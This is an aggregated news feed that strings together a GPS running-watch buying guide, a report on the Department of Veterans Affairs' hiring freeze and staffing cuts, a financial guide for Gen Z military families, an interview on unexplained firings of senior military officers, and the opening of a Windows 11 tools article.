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FILE - A solider wears a U.S. Space Force uniform during a ceremony for U.S. Air Force airmen transitioning to U.S. Space Force guardian designations at Travis Air Force Base, Calif., Feb. 12, 2021. Amid a freeze in military-to-military contacts, China is accusing the United States of militarizing outer space, a day after it protested the passage of a U.S. Navy P-8A Poseidon anti-submarine aircraft through the Taiwan Strait. (AP Photo/Noah Berger, File)

3 open-source tools I use to take back control of Windows 11

By: Rich Hein

Let’s be clear, I could use any OS but, for some reason, I always use Windows. It can be a great operating system, but lots of times it feels like it’s working against me instead of for me. Between privacy and telemetry collection, the constant nudges toward Edge and Bing, and the AI features I never asked for, a fresh Windows install rarely feels clean. Add in the pile of preinstalled apps I’ll never use, and it often feels like I’m undoing Windows before I can even start using it.

The best GPS running watches for 2026

Having the right GPS watch on your wrist whether you’re going for your first ever run or your umpteenth run can make all the difference. The best GPS running watches not only keep track of how far you’ve run, but they track pace and other real-time metrics, advanced training features to help you hit your goals and, of course, precise distance measurements. Some models even provide offline maps for navigation, sleep tracking, recovery insights, and smart features that “regular” smartwatches do.

For those who need extra durability and lasting battery life, higher-end sport watches — like some of the best Garmin watches — are built to handle intense workouts, harsh weather and long runs. If you're training for a marathon, triathlon or just want a multisport option that can keep up with your lifestyle, these watches have the tech to support you.

With so many options available, from entry-level models to the best running watches packed with advanced running metrics, it can be tricky to find the right fit. That’s why we’ve rounded up our top picks to help you choose the perfect GPS watch for your training needs.

Best GPS running watches for 2026

Other GPS running watches we tested

Polar Pacer Pro

The Polar Pacer Pro looked and felt quite similar to our top pick, and it mapped my outdoor runs accurately. However, Polar’s companion app is leagues behind Garmin’s with a confusing interface and a design that feels very much stuck in the past. It’s also $100 more expensive than our top pick.

Amazfit Cheetah Pro

The Amazfit Cheetah Pro tracked my outdoor runs accurately and Zepp’s companion app has a coaching feature much like Garmin’s adaptive training plans that can outline a routine for you to complete in preparation for a race or to achieve a specific goal. My biggest issue with it was that its touchscreen wasn’t very responsive — it took multiple hard taps on the display to wake it, and often the raise-to-wake feature didn’t work, leaving me staring at a dark screen.

What to consider before buying a GPS running watch

GPS speed and accuracy

The most important thing for a GPS running watch to have is fast, accurate GPS tracking. That might seem obvious, but it’s quite easy to get distracted by all of the other smart features most of these devices have. Since most of them can be worn all day long as standard sport watches, there’s a lot of (possibly unnecessary) fluff that looks good on paper but won’t mean much if the core purpose if the device is left unfulfilled. To that end, I paid particular attention to how long it took each device’s built-in GPS tracking to grab my location before a run, if it ever lost my spot and the accuracy of the generated maps. Also, the device should be smart enough to let you start tracking a run while the GPS looks for your location.

Workout profiles and trackable metrics

You may not be able to suss out GPS accuracy just by looking at a spec sheet (that’s where this guide can help), but you can check for features like supported workout profiles. That’s something you’ll want to look into, even if your one and only activity is running. Check to make sure the best running watches you’re considering support all the kinds of running activities you like to do (outdoor runs, treadmill runs, etc) and any other workouts you may want to track with it.

Most fitness wearables today aren’t one-trick ponies; you’ll find a healthy number of trackable exercise modes on any sport watch worth its salt. That said, the number of workout profiles can be directly proportional to a device’s price: the higher-end the product, chances are the more specific, precise workouts it can monitor.

In a similar vein, you’ll want to check the trackable metrics of any watch you’re considering before you buy. Since we’re talking about the best GPS running watches, most will be able to track the basics like distance, heart rate and pace, and those are bare minimums. Some watches can monitor additional stats like speed, cadence, stride length, advanced running dynamics, aerobic and anaerobic training effect, intensity minutes and more. If you’re already a serious runner who trains for multiple races each year, or if you're a trail runner who needs elevation and navigation features, you’ll want to dig into the spec sheet of the watch you’re considering to make sure it can track all of your most necessary metrics.

Size and weight

It’s worth checking out a watch’s case size and weight before going all-in on one. GPS running watches, and standard smartwatches as well, can have a few different sizes to choose from so you’ll want to make sure you’re getting the best fit for your wrist. I have a smaller wrist, so I tend to avoid extra-large cases (anything over 42mm or so), especially if I intend on wearing the device all day long as my main timepiece. Weight, on the other hand, is a little less controllable, but typically smaller case sizes will save you a few grams in overall weight.

For those who need durability, particularly trail runners or those tackling extreme conditions, devices like Garmin watches offer rugged builds that can handle rough terrain, impact, and extreme weather.

Battery life

Unlike regular smartwatches, GPS running watches have two types of battery life you’ll need to consider: with GPS turned on and in “smartwatch” mode. The former is more important than the latter because most GPS running watches have stellar battery life when used just as a smart timepiece. You can expect to get multiple days on a single charge, with some surviving more than two weeks (with all day and night wear) before they need a recharge.

Battery life with GPS turned on will be much shorter by comparison, but any GPS running watch worth its salt should give you at least 10-15 hours of life with the GPS being used continuously. The more you’re willing to spend, the higher that number typically gets, with some GPS running watches lasting for 40 hours while tracking your location.

This article originally appeared on Engadget at https://www.engadget.com/wearables/best-gps-running-watch-141513957.html?src=rss

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© Valentina Palladino for Engadget

Best GPS running watches

VA officially lifts hiring freeze, but staffing caps still in place for shrinking workforce

The Department of Veterans Affairs is officially lifting a hiring freeze on its health care workforce, after shedding tens of thousands of positions last year.

But the VA, which saw the first-ever workforce net decrease, is unlikely to hire its way to a higher headcount than what it currently has.

A report from Democrats on the Senate VA Committee released Thursday finds VA facilities are still operating “within strict staffing caps.”

“Facility leadership in the field are still reporting denials and severe delays in hiring approvals for all positions from clinical staff to custodians to claims processors,” lawmakers wrote.

The report claims the VA lost more than 40,000 employees last year, and that 88% of them worked in health care. About 10,000 of those employees worked in frontline positions that the department has struggled to fill.

VA workforce data shows the department saw a net decrease of 3,000 registered nurses last year, a net decrease of 1,000 physicians and a net decrease of 1,550 appointment schedulers.

In a typical year, the VA’s workforce sees a net gain of about 10,000 employees. But under the Trump administration, the VA sought to eliminate 30,000 positions through attrition by the end of fiscal 2025. The department previously envisioned cutting 83,000 jobs in part through layoffs.

VA Press Secretary Pete Kasperowicz disputed several of the report’s findings. He said the VA achieved its headcount reduction goal of 30,000 employees, but didn’t lose 40,000 employees, as Senate Democrats claim. The VA also disputes the report’s claims that veterans, in some cases, are seeing longer wait times for VA mental health care appointments. 

Committee Ranking Member Richard Blumenthal (D-Conn.) told reporters in a call that the report shows a “diminished” VA that is unable to keep up with the needs of veterans.

“The loss of talent is so deeply regrettable, and the results are basically longer wait times,” Blumenthal said.

Kasperowicz said in a statement that, “while Blumenthal stages political theater, VA is making major improvements for veterans under President Trump.”

The VA fired about 2,400 probationary employees last year, but largely reduced its workforce through voluntary separation incentives.

VA workforce data shows the department made about 21,000 hires last year, offsetting the total impact of these workforce cuts.  The latest data from the Office of Personnel Management shows the VA saw a net reduction of more than 27,000 positions in 2025.

But Blumenthal said these new hires have done little to improve the VA’s capacity.

“They are not the same skilled people as have been either fired or lost because of the toxic environment that’s been created in many areas of the VA,” he said.

 

VA workforce data shows the department made about 21,000 hires last year, offsetting the total impact of these workforce cuts.  The latest data from the Office of Personnel Management shows the VA saw a net reduction of more than 27,000 positions in 2025 (Source: OPM)In a memo last week, VA Under Secretary for Health John Bartrum told department leaders that “all hiring freeze restrictions” still in place at the Veterans Health Administration have been lifted.

Bartrum wrote in the memo that each Veterans Integrated Service Network (VISN) “has been allocated a baseline number of positions calculated on their budgeted FTE plus anticipated needs for growth,” and that requests to exceed that headcount must be approved by the VA Strategic Hiring Committee.

“Leaders and managers must manage operational needs within their cumulative full-time equivalent (FTE) budget and position thresholds,” Bartrum wrote.

The report claims veterans are seeing longer wait times for mental health care appointments. In early January, new-patient wait times for individual mental health care appointments in 14 states exceeded 40 days — twice the wait time threshold that allows veterans to seek treatment outside the VA’s health care network. Those states include California, Colorado, Connecticut, Iowa, Idaho, Kansas, Maryland, Maine, North Carolina, North Dakota, Nebraska, New Hampshire, New Mexico, and Virginia. According to the report, the national mean for new patients to sign up for individual mental health care appointments is 35 days.

However, Kasperowicz said VA data shows wait times for mental health care were under six days for established patients, and 19 days for new patients. 

The VA eased requirements for veterans to seek care from non-VA “community care” last year, and has increased spending on community care. The department is embarking on a $1 trillion next-generation community care contract, one of the largest government contracts in U.S. history.

House VA Committee Chairman Mike Bost (R-Ill.) said in a hearing Thursday that the contract, “if done properly,” would give the VA “unprecedented flexibility” to award contract and task orders that would lead to better health care outcomes for veterans.

In their report, Senate VA Committee Democrats found the VA last year cancelled about 2,000 contracts and let another 14,000 expire without plans to renew or replace those services.

VA Secretary Doug Collins has repeatedly defended his plans for a smaller workforce. He told lawmakers last May that increased staffing hasn’t always led to better outcomes for veterans.

Last year, the department decreased its backlog of benefits claims by nearly 60% despite a net decrease of about 2,000 VA claims processors.

Kayla Williams, a former VA assistant secretary and a senior advisor for the Vet Voice Foundation, said the department reduced the initial claims backlog, but has grown the volume of claims requiring higher-level review.

“These actions were never about efficiency or cost savings,” Williams said.

The VA anticipated a spike in the backlog after Congress passed the PACT Act, making more veterans eligible for VA health care and benefits, because they were exposed to toxic substances during their military service.

Lindsay Church, the executive director of Minority Veterans of America, said 1.2 million veterans have lost their VA providers under the Trump administration.

“Clinics can’t keep care teams staffed. Appointments are being canceled or delayed, and veterans who rely on consistent, trauma-informed care are being forced into instability and pressured into community care. Mental health access, which has always been a crisis for our community for decades, has deteriorated rapidly,” Church said.

Mary Jean Burke, the first executive vice president of the American Federation of Government Employees National VA Council, said that by the end of 2026, most VA facilities are on track to lose about 2-5% of their psychologists — and that locations, including Seattle and Buffalo, are on track to see “double-digit” attrition.

Burke said VA health care employees have left because the VA has slashed jobs, stripped away remote work and telework, and brought staff back into “overcrowded” spaces.

“These punishing policies haven’t just lowered morale, they end up compromising the quality of care we provide,” Burke said.

Collins is scheduled to testify before the Senate VA Committee next Wednesday, in a hearing about the department’s ongoing reorganization efforts.

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The seal is seen at the Department of Veterans Affairs building in Washington, June 21, 2013. (AP Photo/Charles Dharapak, File)

Navigating insurance, maintaining careers and making smart money moves as a Gen Z military family

For Gen Z military families, navigating life in their early-to-mid 20s means wading their way through unique challenges that can get overwhelming pretty quickly. Between frequent relocations, long deployments, unpredictable life schedules and limited early-career earnings, financial planning is more than a good idea — it’s essential for long-term stability.

According to the Congressional Research Service, 40% of active-duty military personnel are age 25 or younger, right within the Gen Z age group. Yet these same service members face the brunt of frequent moves, deployments and today’s rising cost of living.

This guide is designed specifically for Gen Z service members and their spouses, helping them understand their financial situations, insurance options, avoid common financial pitfalls and build stable careers, all while dealing with the real-world pressures of military life.

Financial pressures Gen Z military families face

While budgeting, insurance and retirement planning are critical, it’s also important to get a real sense of the actual financial stressors younger military families are grappling with:

  • Living paycheck to paycheck. Even with basic allowance for housing and basic allowance for subsistence, many junior enlisted families still find it hard to keep up with rising living costs. This becomes even more of a precarious situation when you add in dependents.
  • Delayed reimbursements during permanent change of station (PCS) moves, creating short-term cash crunches.
  • Limited emergency savings. The Military Family Advisory Network’s (MFAN) 2023 survey found 22.2% of military families had less than $500 in savings.
  • Predatory lending, with high-interest auto or payday lenders near bases disproportionately targeting young servicemembers.
  • Military spouse underemployment, leaving household income vulnerable when frequent moves disrupt career continuity.

MFAN also found that nearly 80% of respondents spend more on housing than they can comfortably afford, and 57% experienced a financial emergency in the past two years. These aren’t abstract concerns that most young servicemembers and their families can just ignore, hoping that they’ll never be impacted; these are everyday realities for Gen Z military families.

Insurance best practices

Adult life is just getting started in your 20s, and navigating insurance options can feel overwhelming. But taking the time to learn your choices will set your family up for a secure financial future.

  • Life insurance: Most servicemembers are automatically enrolled in Service Members’ Group Life Insurance (SGLI), with Family Servicemembers’ Group Life Insurance (FSGLI) extending coverage to spouses and children. Review coverage annually. Also, compare options across SGLI, FSGLI and trusted military nonprofits to find what fits your family best.
  • Disability insurance: Often overlooked, this protects your family if an injury prevents you from working, even off-duty. Supplemental private coverage can be wise if your lifestyle expenses exceed your military pay.
  • Renters insurance: Essential for families who move often; it protects your belongings through relocations.
  • Healthcare: TRICARE provides strong coverage, but learn the details on copays and referrals, especially when stationed overseas.

Common financial missteps and how to fix them

Mistake #1: Overbudgeting and lack of budgeting

BAH and BAS are designed to offset housing and food costs, not fund lifestyle inflation. Stick to a budget that keeps fixed expenses well below your income. Free tools from Military OneSource can help track spending.

Mistake #2: Not saving for retirement

Retirement may feel far away, but starting early has an outsized impact. Contribute at least 5% to your Thrift Savings Plan (TSP) — a military contribution retirement program similar to that of a 401k — to secure the full Defense Department match. Even small contributions now can grow into hundreds of thousands later.

Mistake #3: Misusing credit or loans

Predatory lenders near bases often target young servicemembers. Try to avoid any predatory or misleading lenders. Instead, consider a secured credit card or an on-base credit union to build credit responsibly. Always be sure to pay your balance in full.

Mistake #4: Skipping an emergency fund

PCS moves, car repairs or medical costs can’t always be predicted. Start small: Even $10 to $20 per week automatically transferred to savings helps to build a safety net. According to MFAN’s 2023 survey, enlisted families with children that have undergone recent PCS moves are most likely to face financial hardship, making an emergency cushion critical.

In addition to avoiding pitfalls, here are realistic strategies to strengthen your finances:

  • Tap military relief organizations like Army Emergency Relief (AER) or Navy-Marine Corps Relief Society (NMCRS) for interest-free loans or grants during emergencies.
  • Plan for post-military life: Keep in mind that SGLI and other benefits change once you leave active duty. Compare nonprofit alternatives early to avoid gaps.
  • Leverage nonprofits you can trust: Some offer competitive life insurance, savings products or financial counseling designed for servicemembers’ long-term interests.
  • Budget with inflation in mind: Rising costs are hitting Gen Z hard. Nearly 48% say they don’t feel financially secure, and over 40% say they’re struggling to make ends meet. Prioritize life’s essentials and be realistic about what you can afford outside of them.

Maintaining a career as a military spouse

Frequent relocations are undoubtedly disruptive, but they don’t have to end career growth. Military spouses may want to focus on careers that can easily move around with them, like healthcare, education, IT or freelancing.

Take advantage of programs like MyCAA, which offers $4,000 in tuition assistance for career training; Military OneSource, which offers resume assistance, free career coaching and financial counseling; and Hiring Our Heroes, which offers networking opportunities and job placement assistance for military spouses. These programs can help reduce underemployment and strengthen household stability, especially during tempestuous times like during and after a PCS move.

Putting it all together

Starting adulthood, a military career and a family all at once is an incredibly challenging undertaking. The financial pressures are real, but with the right knowledge and proactive steps, Gen Z military families can turn instability and uncertainty into long-term security.

By understanding insurance options, making smart money moves, tapping into military-specific resources and planning ahead for life after service, families can not only weather the unpredictability of military life, but also build strong financial foundations for the future.

Alejandra Cortes-Camargo is a brand marketing coordinator at Armed Forces Mutual.

The post Navigating insurance, maintaining careers and making smart money moves as a Gen Z military family first appeared on Federal News Network.

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A senior couple working together on financial planning, using documents and a calculator to manage family finances.

Quiet firings with big consequences, why the lack of transparency when relieving military leaders matters

Interview transcript

Terry Gerton You have done some analysis looking at the pattern of senior military officers being relieved with very little explanation from the Department of Defense. We’ve all read some of the headlines, but what is it about this issue that concerns you?

Virginia Burger For me, the biggest concern was that, like you said, there’s little to no justification for many of these firings. Or if we get any, it’s very oblique references in tweets from senior leaders like Secretary Hegseth, and we’re never provided any follow-up or any true validation that the relief was actually warranted. And for me, that is a red flag because it seems like we’re probably politicizing a organization that is meant to be apolitical, right? The military was always supposed to be an apolitical body, it’s not supposed to serve a party, it is supposed to serve the people, and if we are firing the most senior leaders of that organization for overtly political reasons, which is what we are left to surmise, given lack of any other information, that should be a serious point of pause for all Americans.

Terry Gerton As I mentioned, we’ve seen some headlines, but we may not know about all of the reliefs. Can you talk about how widespread this has become?

Virginia Burger So obviously I think the ones that everyone’s probably most familiar with were right away, the chairman of the Joint Chiefs, General C.Q. Brown, was relieved and then the chief of naval operations, Admiral Lisa Franchetti, were both relieved. They were probably the two biggest ones that everyone saw. And again, Hegseth characterized it very generally as cleaning house. I need new leadership, new generation for context. Neither of them were due to be turned over at that point in time, they were both still, well — had several years left in their tenure in those positions. And everyone sort of was left to guess, well, maybe they relieved General Brown because he was African-American and maybe they relieved Admiral Franchetti because she was a woman. I don’t have a ton of familiarization with General Brown, but I know a lot of friends in the Navy who were incredibly proud [of] and respected Admiral Françhetti. She was considered the pick for CNO and so her relief was quite shocking to a lot of people because she was by far and way, if we’re gonna talk about merit for positions, she was the person for that position. Some other ones that have maybe not gone as noticed are in some lower, more subordinate commands, but certainly still across the board, there were several women relieved in the Air Force and the Army that were senior leaders, and also notably the head of the NSA was relieved, and that position was gapped for several months. In fact, the replacement was only announced in the last few weeks, and that was both concerning for, why was the person relieved, but also from a strategic decision. If the NSA doesn’t have a leader, that’s a hugely powerful arm of national security. That was a big bipartisan concern as well that many senators and representatives expressed concern over.

Terry Gerton Let’s follow that because you also documented some patterns about gaps in leadership and transition and readiness. Tell us more about that.

Virginia Burger So when a senior leader is relieved, and it’s not on the normal timeline, because most of these positions you hold for a period of usually two to three years, that’s the typical timeline for command, especially at those senior leader levels of lieutenant generals and vice admirals, generals and admirals. When one of those positions is relieved suddenly, you do not have a replacement lined up. And for a lot of these senior leaders the replacement has to be confirmed by Congress, right? For combatant commanders, for service chiefs, that person has to nominated, they have to be reviewed by the Senate Armed Services Committee, and then voted on by the Senate. If you fire someone off timeline, that position is going to be gapped, and these are our most senior military leaders who are in the positions that are making the most pivotal decisions for our national strategy, and who are making the decisions that America’s sons and daughters in service are going to have to execute. And so when they’re fired very suddenly, that position is empty and there is a power vacuum, there is a void and naturally the executive officer, the deputy is going to step up and do their best and maybe they’ll rush to put in someone who’s acting. But you know, an acting person in that position does not have the same legal authorities. They don’t have the same authorities for command and it’s just going to cause headaches and issues that will roll all the way down the chain. And it can be very, very difficult for a unit to run. And then when we’re talking about people in positions of such amount of power, that’s going to have a lot of ramifications on national security, morale, and making sure our service members are well taken care of.

Terry Gerton So, Virginia, these positions that have been relieved have been at the top of chains of command. Have you heard any response from within the military or within DoD about the impact?

Virginia Burger I can only speak to like anecdotes I’ve been given from people I know. I haven’t seen any significant reports or anything from the DoD officially because they aren’t releasing any information like that, right? Like, Secretary Hegseth has not come out and said, hey, here’s a survey or here’s an investigation we did to see if the very dramatic relief of Admiral Franchetti had negative impacts to naval readiness. He’s not doing that kind of work or if he is, he’s not going to publish it. What I can say, and what I’ve heard, like I said, I spoke to several peers and friends of mine who are in the Navy, and it was quite a morale blow when she was relieved. I know many women in service, as a veteran myself, I still have many friends on active duty, and they have watched as many of those relieved look like them. They are women, and they’re sort of questioning, is there a future for me in this organization? I have friends who have sort of passed the 10-year mark, they’re trying to make it to 20, and they are looking to see, is that even really an option? Will I be able to continue to dedicate my life to this service that I’ve chosen? And that’s going to have ripple effects across the force and that’s not gonna have great implications when it comes to readiness, morale, etc.

Terry Gerton I’m speaking with Virginia Burger. She’s the senior defense policy analyst for the Center for Defense Information at the Project on Government Oversight. Virginia, in your paper, you talk about some opportunities that Congress might have to have some more say in this. Walk us through your suggestions.

Virginia Burger Like I said earlier, Congress has to review these nominees for the senior positions, right? And we’re talking specifically about the highest ranking officers. These are three and four-star generals and admirals. So those are the positions that have to go before Congress, they have to be cleared by SASC, Senate Armed Services Committee, and then voted on before they can take their seat in that position. And so Congress, and specifically the Senate, exists in that advisory capacity to the president’s nomination. And that’s written in law. That’s in Title 10, which is the section of U.S. Code that governs the United States military. There is a specific section, Section 601, that talks about the appointment of these officers, and it also talks about the removal and the replacement of them in some level of detail, but without any mention of Congress’ role, because there isn’t one in law for their removal. My suggestion is that we actually amend Section 601, so that there is some official oversight. Now, granted, Congress has avenues for oversight over these decisions now, right? The Senate, congress, they have the ability to conduct hearings, open investigations. If they wanted to, they could open an investigation into the relief of General Brown or Admiral Franchetti and subpoena them or subpoena Secretary Hegseth and have them come in and answer questions about that incident. The Senate could do that tomorrow. Politics aside, with all of that, there are things they could do to change the law. So my recommendations would be that they include explicit requirements for formal congressional notification, right? So when a senior leader, one of these three or four stars, is relieved, within 24 hours, it should be in the law, within twenty four hours, Congress must be formally notified of that decision. Right? Because again, these are the people whose relief is going to have the biggest impact to our national security. Our legislative body should be told that. That is something that I think would be a no-brainer to include, in my opinion. Another one is make sure that the DoD has to show their work, right? There should be a full investigative report. You and I have both been executive officers, I think you, for a very large battalion. You’re aware that the military loves to investigate everything. Someone sneezes in the wrong direction and an investigation is triggered. My guess is there’s probably investigations when these reliefs happen, I would hope there is, at the very least. If there isn’t, that’s maybe another question that we need to also pull the thread on. But at the least, I think Congress should be in receipt of that investigative material. Whatever investigation was done at that command level for the relief of that general or admiral should be provided to them, along with a statement from either the service secretary or the secretary of defense as to the justification for the relief and an optional response from the relieved officer stating their perspective. And that, I believe, should be included in 601 as a requirement to be given to Congress following the relief of one of these officers within 30 days. That way, Congress has this information. Does it need to be public? Maybe not. You could argue if someone is relieved for maybe personal misconduct that they don’t want in the public eye, sure, then the Senate or Congress can handle that with discretion, but at the very least, those legislators need that information so that they can make sure that the Secretary of Defense, the service secretaries, are not engaging in overt politicization in the removal of these officers.

Terry Gerton Virginia, I want to push on that a little bit because those proposals would give Congress oversight, but it still doesn’t address the issue of remediation or reinstatement that Congress might have that authority, if they were to receive all of that information and find that, in fact, in their opinion, that individual should continue on active duty. How do we get to a corrective measure that might help address this problem, or are you thinking that the additional oversight is its own deterrent?

Virginia Burger I think the oversight would be a deterrent in its own right because, you know, my guess is the secretary of defense does not want to be hauled in front of the Senate Armed Services Committee to answer for these should the Senate read the report and realize that the decision was overtly political. But there are, you now, like you said, ways that we could do it. They could impeach the service secretary or the secretary of defense if they feel like they are making these political decisions. That’s available to them now. I believe articles of impeachment for Secretary Hegseth were put forward in the House I think last week in light of Venezuela, I think one of the representatives did. I don’t think they went anywhere, but it’s something that they could do any day of the week if they feel like they are inappropriately handling their position, right? So that’s something they could to enforce this. Unfortunately, a lot of the rules governing the appointment of officers are established through case precedence. It’s not necessarily reflective explicitly in Title 10 or in the Constitution. So, a lot of the limitations that say the president is the one who should be appointing officers comes from case law, specifically before the Supreme Court. So that gets a little bit murky when it comes into the reinstatement of officers. But certainly, in my opinion, the easiest way would be if we believe a secretary of defense is mishandling their position by relieving officers for political reasons. If you impeach them, potentially the next secretary could then reinstate them. And then it’s very clean because it’s the secretary and the president who are then reinstating them.

The post Quiet firings with big consequences, why the lack of transparency when relieving military leaders matters first appeared on Federal News Network.

© The Associated Press

Secretary of Defense Pete Hegseth, from right, with Chairman of the Joint Chiefs of Staff Gen. CQ Brown gives his opening statement before the start of their meeting with Israeli Prime Minister Benjamin Netanyahu at the Pentagon, Wednesday, Feb. 5, 2025, in Washington. (AP Photo/Manuel Balce Ceneta)

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